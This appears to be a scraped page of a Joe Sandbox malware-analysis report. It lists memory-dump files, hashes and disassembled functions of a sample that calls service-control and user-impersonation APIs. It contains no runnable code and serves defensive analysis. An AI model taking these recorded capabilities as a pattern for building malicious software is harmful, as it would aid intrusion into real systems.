Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: cedc070b8b8f672729b53e00567e7e0b5c8bdc097642cad6c73c95fe4aace01a
Instruction ID: 650844b3f10a1ec2f27ecfa973c71d057ee6d8741fc03e62bed0f4de5a5cb488
Opcode Fuzzy Hash: cedc070b8b8f672729b53e00567e7e0b5c8bdc097642cad6c73c95fe4aace01a
Instruction Fuzzy Hash: FE21257241020F9FDF12DF60C848AEF3BA9EF06314F100825E94196851EBB64CB49F8D

Function 009876BA Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 166
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 009876BA

Strings

Vq{8, xrefs: 009877A1

Memory Dump Source

Source File: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: LibraryLoad
String ID: Vq{8
API String ID: 1029625771-2128123302
Opcode ID: 9ea0c2e27e9552845c2956aefa1aed2d715b8ff5a7782713ed22ae328bbe5c9b
Instruction ID: 73626bf87e64952588bd6d0608b53405ef157ca05b5d20f5e560488ecaf646c9
Opcode Fuzzy Hash: 9ea0c2e27e9552845c2956aefa1aed2d715b8ff5a7782713ed22ae328bbe5c9b
Instruction Fuzzy Hash: 11516AB250C2409FE706AF29D8816BEFBE5FF99310F16886DE6C587611E3318845CB93

Function 0098BADE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(1E00C600), ref: 0098BB0F

Strings

#, xrefs: 0098BB32

Memory Dump Source

Source File: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: CreateFile
String ID: #
API String ID: 823142352-1885708031
Opcode ID: 0c82aced8921b9c0f4a50e507836e1c2d7561555ca979b1121d1466985b6e9db
Instruction ID: 143786a67b30ca52a66092bba4abafcfed645d488e24b6ee72f16446c28d04b5
Opcode Fuzzy Hash: 0c82aced8921b9c0f4a50e507836e1c2d7561555ca979b1121d1466985b6e9db
Instruction Fuzzy Hash: C6F0A77180839E6ECB30AF75C8A1A9FBFA5FE9232171454AFE4409A612C3364924CB51

Function 0098B7AF Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0098B871

Memory Dump Source

Source File: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d47aea0333c5782022e813148b2740afe4b1f910c8639ef3e84c85ecfd837fc2
Instruction ID: c5c60350cc920e7002abc4cc0b2df627547dc6bc738adb2af37d37fccbeb0211
Opcode Fuzzy Hash: d47aea0333c5782022e813148b2740afe4b1f910c8639ef3e84c85ecfd837fc2
Instruction Fuzzy Hash: 60016D7514D2179ED701BD601C925FA3B5CD8C2360B2D442BE482C7743E714490BD7D2

Function 05080D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05080DCD

Memory Dump Source

Source File: 00000003.00000002.2541873255.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5080000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 758482786ac14ae5cbbf5346a7643f061bffd4aabbb70e678a26e3eb742be72e
Instruction ID: 4da422a6786c0c6430f3f094a5e4db8d3c5b47e19807fd5138ff3bf364177607
Opcode Fuzzy Hash: 758482786ac14ae5cbbf5346a7643f061bffd4aabbb70e678a26e3eb742be72e
Instruction Fuzzy Hash: 9E2135B6D012189FCB50DF99E895AEEFBF5FF88310F14811AD909AB244C734A545CBA4

Function 05080D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05080DCD

Memory Dump Source

Source File: 00000003.00000002.2541873255.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5080000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: cfd678f62b4b5fdaea0052808e621a6b606e84da8ba67a73e058b370cfecd47a
Instruction ID: e53d7c5eb8373eba519047ba0fe15e97a4385e44270ee86d609341f860310df3
Opcode Fuzzy Hash: cfd678f62b4b5fdaea0052808e621a6b606e84da8ba67a73e058b370cfecd47a
Instruction Fuzzy Hash: FB2113B6C016189FCB50DF99E898AEEFBF4FF88310F14815AD909AB204D734A544CBA5

Function 05081509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05081580

Memory Dump Source

Source File: 00000003.00000002.2541873255.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5080000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: afb0e98fab4a39700879a575ff187de658e665e4ba515b145ce9585d9ff0dad4
Instruction ID: d615f6ec583cad6431b564f7c732888beba165e3c17893cd475e9a2967571400
Opcode Fuzzy Hash: afb0e98fab4a39700879a575ff187de658e665e4ba515b145ce9585d9ff0dad4
Instruction Fuzzy Hash: 9E2103B1900249DFDB10DF9AD484AEEFBF4EF48320F108029E559A7240D378A645CFA5

Function 05081510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05081580

Memory Dump Source

Source File: 00000003.00000002.2541873255.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5080000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: e033c53008a8c6400834287237a90b814d9184aa280f443763d615af3610f489
Instruction ID: d3bc8a33f8c105989b0a5778a8e68caf3ded78819a66f00d9114c9dfa5a583d5
Opcode Fuzzy Hash: e033c53008a8c6400834287237a90b814d9184aa280f443763d615af3610f489
Instruction Fuzzy Hash: DF11D3B5900249DFDB10DF9AD584AEEFBF4EF48320F108029E559A3250D378A644CFA5

Function 05081301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05081367

Memory Dump Source

Source File: 00000003.00000002.2541873255.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5080000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: e7993b16014884397f42c0dd86fbfb4b20ea1481f107bcc4207fadb9ab8402a0
Instruction ID: 5fd4a21347eb010834e60f30a8c7b37048cb067495cd4ecbe0390af52c9fe157
Opcode Fuzzy Hash: e7993b16014884397f42c0dd86fbfb4b20ea1481f107bcc4207fadb9ab8402a0
Instruction Fuzzy Hash: BD1166B1800249CFDB10DF9AD584BEEFBF4EF48320F20846AD558A3640C738A585CFA1

Function 0098B7A9 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0098B871

Memory Dump Source

Source File: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
